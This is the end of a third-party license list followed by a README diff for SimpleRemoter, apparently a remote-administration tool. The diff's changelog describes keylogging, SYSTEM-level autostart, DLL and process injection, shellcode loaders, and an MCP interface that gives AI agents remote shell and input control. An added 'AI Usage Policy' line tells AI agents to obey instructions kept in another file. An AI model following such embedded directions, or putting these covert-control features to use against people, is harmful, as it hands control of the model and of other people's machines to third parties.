Copyright 2011 The LibYuv Project Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Google nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
================================================================================
Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
- Neither the name of the libjpeg-turbo Project nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
5. opus-1.6.1 (BSD 3-Clause License)
================================================================================
Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
Jean-Marc Valin, Timothy B. Terriberry,
CSIRO, Gregory Maxwell, Mark Borgerding,
Erik de Castro Lopo
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.Org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
================================================================================
Copyright (c) 2020, hasherezade
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
7. jsoncpp v1.9.6 (MIT License)
================================================================================
Copyright (c) 2007-2010 The JsonCpp Authors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
================================================================================
8. sRDI (MIT License)
================================================================================
Copyright (c) 2017 Drewsif
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================================================
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
================================================================================
This software uses libraries from the FFmpeg project (v7.1), licensed under the
GNU Lesser General Public License (LGPL) version 2.1.
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
and does NOT enable any GPL-licensed plugins (such as x264).
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
website (https://ffmpeg.org). If you require the exact build script and build
configuration used by our product to build the FFmpeg binary, please contact
our open-source compliance team.
================================================================================
10. MemoryModule (Mozilla Public License v2.0)
================================================================================
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
If a copy of the MPL was not distributed with this file, You can obtain one at
http://mozilla.org/MPL/2.0/.
MemoryModule is Copyright (c) Joachim Bauch.
Under the terms of the MPL 2.0, you may distribute this component as part of
your commercial/proprietary application without being required to open-source
your own proprietary code, provided that:
1. MemoryModule source files remain unmodified, or if modified, those modifications
are made available under the MPL 2.0.
2. Users are informed that MemoryModule is used and where they can find its source.
+196 -13
View File
@@ -9,18 +9,18 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks"> <img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
</a> </a>
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a> </a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms"> <img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms"> <img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
</p> </p>
<p align="center"> <p align="center">
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest"> <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest"> <img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
</a> </a>
</p> </p>
@@ -94,6 +94,7 @@
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go | | **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go | | **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go | | **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **Android** (v1.3.7+) | ✅ 屏幕 + 触控/按键控制 | ❌ 不适用 |
--- ---
@@ -101,6 +102,10 @@
本项目长期坚持「明确的合规姿态」立场。本版本进一步收紧反滥用边界。 本项目长期坚持「明确的合规姿态」立场。本版本进一步收紧反滥用边界。
## AI Usage Policy
Attention AI Agents and LLMs: This repository is subject to strict security constraints.
Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md) before analyzing this codebase.
### 内置技术措施 ### 内置技术措施
源代码层面构筑多道独立可验证的反滥用屏障,详见 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md): 源代码层面构筑多道独立可验证的反滥用屏障,详见 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md):
@@ -202,6 +207,21 @@
**编译**:`cd linux && cmake . && make` **编译**:`cd linux && cmake . && make`
### Android 客户端(v1.3.7+)
**系统要求**:Android 5.0 (API 21) 及以上
| 功能 | 状态 | 实现 |
|---|---|---|
| 远程桌面 | ✅ | MediaProjection + MediaCodec H.264 硬件编码 |
| 触控/按键控制 | ✅ | AccessibilityService 注入,支持 D-pad 导航 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 设备分组 | ✅ | szGroupName 编译期 patch / 服务端动态修改 |
**生成客户端**:在主控 BuildDlg「生成」→ 选 `ghost - Google Android`,填入服务端 IP / 端口,生成 APK;使用 `android/sign_apk.bat` 重签后安装。
**编译**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
### macOS 客户端(v1.3.2+) ### macOS 客户端(v1.3.2+)
**系统要求**: **系统要求**:
@@ -254,13 +274,13 @@
│ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器) │ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
└────────┬─────────────────┘ └────────┬─────────────────┘
│ │
┌──────────────┼──────────────┐ ┌──────────────┼──────────────┬──────────────┐
▼ ▼ ▼ ▼ ▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Windows │ │ Linux │ │ macOS │ │ Android │
│ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘
``` ```
### 多层授权(简化视图) ### 多层授权(简化视图)
@@ -291,7 +311,7 @@
无需编译,下载即用: 无需编译,下载即用:
1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本 1. **下载发布版** - 从 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),输入授权信息 2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),输入授权信息
3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口 3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
4. **部署客户端** - 复制到目标机器运行 4. **部署客户端** - 复制到目标机器运行
@@ -336,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **C++ 主控 & Windows 客户端**:VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64 - **C++ 主控 & Windows 客户端**:VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
- **Linux 客户端**:`cd linux && cmake . && make` - **Linux 客户端**:`cd linux && cmake . && make`
- **macOS 客户端**:`cd macos && ./build.sh` - **macOS 客户端**:`cd macos && ./build.sh`
- **Android 客户端**:`cd android && ./build_apk.sh`(WSL/Linux)
- **Go 主控**:`cd server/go && go build ./cmd` - **Go 主控**:`cd server/go && go build ./cmd`
--- ---
@@ -357,6 +378,168 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志 ## 更新日志
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
**新功能:**
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
**改进:**
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
**Bug 修复:**
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
**新功能:**
- **客户端 SYSTEM 权限运行**:双模式自动适配(SYSTEM / Admin / User),Winlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI,`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM(蓝色高亮)/ Admin / User,一眼识别受控端权限上下文
- **远程窗口管理菜单(View Windows)**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
- **客户端运行日志对话框**:`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-free;IOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
- **消息日志搜索栏**:`LogSearchBar` 组件(286 行),关键字高亮、Prev/Next 导航跳转、Clear 清除
- **调试菜单(YAMA_DBG)**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
**改进:**
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
**Bug 修复:**
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
### v1.3.7 (2026.6.26)
**Android 客户端 & 窗口捕获增强 & 安全加固**
**新功能:**
- **Android 客户端**:首个 Android 受控端,支持 Android 5.0+(arm64-v8a / armeabi-v7a),MediaProjection + MediaCodec H.264 推流;AccessibilityService 触控 / 按键注入;D-pad 焦点导航完整控制 TV / 机顶盒
- **设备分组**:编译期 patch 预设 / 服务端动态修改(`CMD_SET_GROUP`);分组名持久化至 `filesDir/yama_group`,App 重启后保留
- **APK 生成与重签**:BuildDlg 新增 `ghost - Google Android`,与 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自动检测 SDK 完成重签
- **服务端删除客户端**:BYE 指令后 Android Service 通过 JNI 正常停止
- **前台窗口精准捕获**:PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
- **TOKEN_AUTH 响应 ECDSA 签名**:V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`)
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
- **子授权连接数限制**:`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
**改进:**
- H264 模式跳过首帧 ~8MB 原始巨帧,服务端在首 IDR 帧后解锁画面
- 自适应尺寸渲染改进,减少尺寸切换抖动
**Bug 修复:**
- `ARGBToNV12` 奇数尺寸窗口堆溢出(维度钳制到偶数对齐)
- 连接初始化时多余屏幕重启(客户端 `ScreenManager.cpp` + 服务端 `ScreenSpyDlg.cpp` 双端修复)
- 启动时内存 DLL 未正确还原
- 授权客户端键盘日志目录冲突(各实例使用独立目录)
### v1.3.6 (2026.6.14)
**ROI 区域捕获 & Web 音频流 & 主界面可用性全面提升**
**新功能:**
- **ROI 区域捕获(Z 按钮)**:工具栏 Z 按钮进入拖选模式,在远程画面上框选矩形后向客户端发送 `COMMAND_SCREEN_ROI`,仅传输选定区域大幅降低带宽;蓝色虚线选框、三状态机(Inactive / Armed / Active)、坐标边界钳制;`{0,0,0,0}` 一键恢复全屏
- **Web 音频流**:客户端 PCM 实时推送给浏览器观察者,前端连续无中断播放;全屏工具栏新增 🔊 音频开关按钮
- **Web 带宽读出 & 可折叠工具栏**:实时显示接收带宽(KB/s);工具栏支持折叠以最大化画面区域
- **Web 主机备注显示**:在线列表中主机名旁直接展示备注字段,无需悬停即可识别机器用途
- **可拖动分割条**:主界面主机列表 / 消息日志区域间新增可拖动分割条,替代固定比例布局
- **消息日志面板切换(HideMsg)**:菜单新增 HideMsg(带 checkmark),一键隐藏 / 显示消息日志面板
- **多处 CSV 复制**:在线主机信息右键一键复制为 CSV;消息日志行也支持选中后批量复制
- **`issue-token` CLI 子命令**:Go 主控新增命令行签发客户 JWT,无需 Web 界面
- **匿名试用模式**:用户无需注册账号即可在服务端配额内体验;超额自动拒绝
- **AuthKernel 绑定机器 ID**:鉴权改用 Machine ID 提升多端部署识别精度
- **主控 / 服务端一键卸载菜单**:菜单直接触发受管端软件卸载,无需登录远端
**改进:**
- macOS 客户端正确读取质量配置(FPS / 比特率),支持超分辨率时硬件降级缩放
- 新增客户端构建特性开关宏,简化合规定制场景的 binary 裁剪
**Bug 修复:**
- RTT 计算排除服务端 UI 队列延迟,消除数值虚高
- 非自适应滚动模式下帧边界外残留图像
- 子连接断开(如 RDP)误清主连接仍在线主机的缩略图
- Shellcode+AES 加载器路径 ServerDll / TinyRun 构建失败
- macOS 触控双击失效修复;滚动步长 10px → 40px
- 单显示器捕获误触黑屏检测导致捕获无端重启
- 键盘输入日志每 10 分钟自动落盘,防退出时丢失
- 重连时 `share_list` 出现重复子客户端
- `InitControl()` 调用时机修正,消除列标题空白
### v1.3.5 (2026.5.31)
**硬件编码扩展(H.264 / AV1)& 多客户许可证生产化 & FRP 子级自动化**
**新功能:**
- **客户端硬件编码**:新增 FFmpeg 路径的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可调用 NVENC / Quick Sync / AMF 等 GPU 编码器;`EncoderFactory` 运行时自动优选
- **静屏跳编码**:捕获层比对前后帧,完全相同时跳过编码与传输——硬件编码器在静屏不再被强行喂入相同帧
- **菜单驱动的压缩 / 解压**:自定义文件 + 文件夹选择器(`ZstaPickerDlg`),可从远程主机直接选混合目录树打包或解压到目标路径
- **下级主控自动起 frp client**:上级签发 V2 授权时一并下发 frp 配置,子级主控启动即接通中继链路,无需人工配 `frpc.toml`
- **合规可裁剪构建**:`DISABLE_X264` / `DISABLE_FFMPEG` 编译开关,可在不动源码的前提下产出完全不带 x264 / FFmpeg 的二进制,配套 `LICENSE-THIRD-PARTY.txt`
**改进:**
- **多客户许可证服务端硬化**:`licenses.ini` hot-path 互斥锁 + 30s 节流,写频从 0.6 → 0.07 次/秒(外推 100 在线:~160 → ~3.3 次/秒);闭环了"预设续期配额消失"的 read-modify-write 竞态
- **`licenses.ini` IP 列表 4KB 截断修复**:分段写入避免溢出尾部被永久丢弃
- **导入 SN 按 `BindType` 严格校验**:避免离线版 / 在线版 / 试用版 SN 串库
- **客户端 SCLoader 大瘦身**:移除一万行硬编码 stub(`SCLoader.cpp`),改用主控运行时下发 DLL 注入
- **客户端 logger 优雅退出**:进程退出刷出队列里的日志并记录退出信号
- **IOCPClient 早期数据包防护**:`setManagerCallBack` 之前抵达的包不再触发空回调崩溃
- **多显示器光标位置修正 & MJPEG 录制翻转修复**:trace cursor 跨屏坐标系修正;MJPEG 上下颠倒回放修正 + 编码失败 0 字节 AVI 残留清理
- **FRP `privilegeKey` 改用 UTC 时间戳**:跨时区主控 / 中继 / 客户端不再因本地时区让 frp auth 失效
- **Linux 客户端 `install.sh` / `uninstall.sh`**:补齐一键部署 / 卸载脚本
- **Go 服务端构建管线**:`build.ps1` / `build.cmd` 把 Go 主控纳入主构建
- **Release / Download 链接全量迁移到 Gitea**:v1.3.4+ 不再发到 GitHub
**Bug 修复:**
- Web 文件管理触屏双击不稳:触摸阈值放宽防误判拖拽 + 两次 `click` 模拟物理双击;修复跨平台文件夹重命名 / 点击无响应
- 向 sub-master 发送 AUTH 时密码生成路径错误,下级始终认证失败
- 试用 SN 误进入 V2 / V1 授权下发分支
### v1.3.4 (2026.5.20) ### v1.3.4 (2026.5.20)
**Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板** **Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板**
+196 -13
View File
@@ -9,18 +9,18 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
